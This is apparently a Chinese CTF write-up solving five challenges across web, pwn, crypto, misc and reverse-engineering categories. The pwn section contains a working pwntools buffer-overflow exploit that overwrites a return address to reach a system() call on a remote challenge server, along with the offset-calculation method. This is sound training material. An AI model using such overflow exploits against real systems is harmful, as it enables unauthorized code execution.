web
bugku-需要管理员
开启环境看到这些信息【file or directory】,那我们dirsearch一下,看一下有什么file or directory
可以看到一个文件robots.txt ,那我们直接访问
得到下面信息,那再访问resusl.php
得到下面界面,看到一行代码,是传参,试试,将变量password试试密码,看似没有反应,实际上是没有访问权利所以得到的都是这个页面
有访问权、管理者,想到admin,所以得到flag
pwn
buu-warmup_csaw_2016
下载附件,首先虚拟机checksec文件,查看有没有二进制保护
ida反编译文件, 查看main函数,点击f5反编译看到gets()函数读取输入到变量 v5 中, v5 的长度只有 0x40,即可用栈大小只有64字节,但是gets()函数并没有限制输入,显然存在栈溢出漏洞。
然后看到一个地址sub_40060D查看函数,反编译,看到一个system()函数,系统函数,这是溢出需要返回的地址
那么我们写脚本
from pwn import *
p = remote('node5.buuoj.cn', 29909)
p.sendline(b'a' * (0x40+0x8)+ p64(0x40060D))
p.interactive()
总结
题目中的思路很清晰,对于栈溢出,我们先判断是否有栈溢出的漏洞,之后去找系统调用的函数,然后查到他的地址,最后就是我们的代码构建了。
偏移量的计算=(数组本身大小+对应位的偏移 64位是 ox8 )
然后加上我们系统调用函数的地址。
crypto
buu-密码学的心声
得到的是一个简谱,最初以为是原先的简谱转字母,可是后来发现末尾有个零,放弃简谱的位置,看这个歌词,别有深意得知是ascii码,八进制的,写脚本,我们首先得自己手动将这些简谱的数字三个为一组成一个八进制的数,然后写脚本
a=[111,114,157,166,145,123,145,143,165,162,151,164,171,126,145,162,171,115,165,143,150]
flag=''
for i in a:
i='0o'+str(i)
i=chr(int(i,8))
flag=flag+i
print(flag)
得到flag的内容,包上flag{}
misc
buu-[BJDCTF2020]认真你就输了
下载附件后看到一个文件夹,打开查看里面内容,有提示用winhex打开看一下他的内容,看到文件头是50 4B 03 04,可以知道这个文件的真正的后缀是zip
改为zip后解压,得到了许多文件,但是查看下来多不是txt文件,直接搜索,不出所料的得到了flag.txt,打开看看其中内容,得到flag
re
nss-[HNCTF 2022 WEEK2]e@sy_flower
下载得到附件后,先查一下壳,32位,没有壳用ida32打开文件进行反编译,打开文件就看到红代码,看到jmp
利用patch功能,将其改为90,然后到main的开始点击p生成函数,再点击f5反编译,查看代码
分析代码可以看到两个关键代码(加密)
还有一个代码(判断)
可以知道当两个相同时就会得到yes,所以我们进行逆运算,先异或,再进行位置调换,所以写出代码
x = 'c~scvdzKCEoDEZ[^roDICUMC'
z = []
for i in x:
i= ord(i) ^ 0x30
z.append(i)
for i in range(len(x)//2):
v2 = z[2 * i + 1]
z[2 * i + 1] = z[2 * i]
z[2 * i] = v2
for i in z:
print(chr(i),end='')
得到flag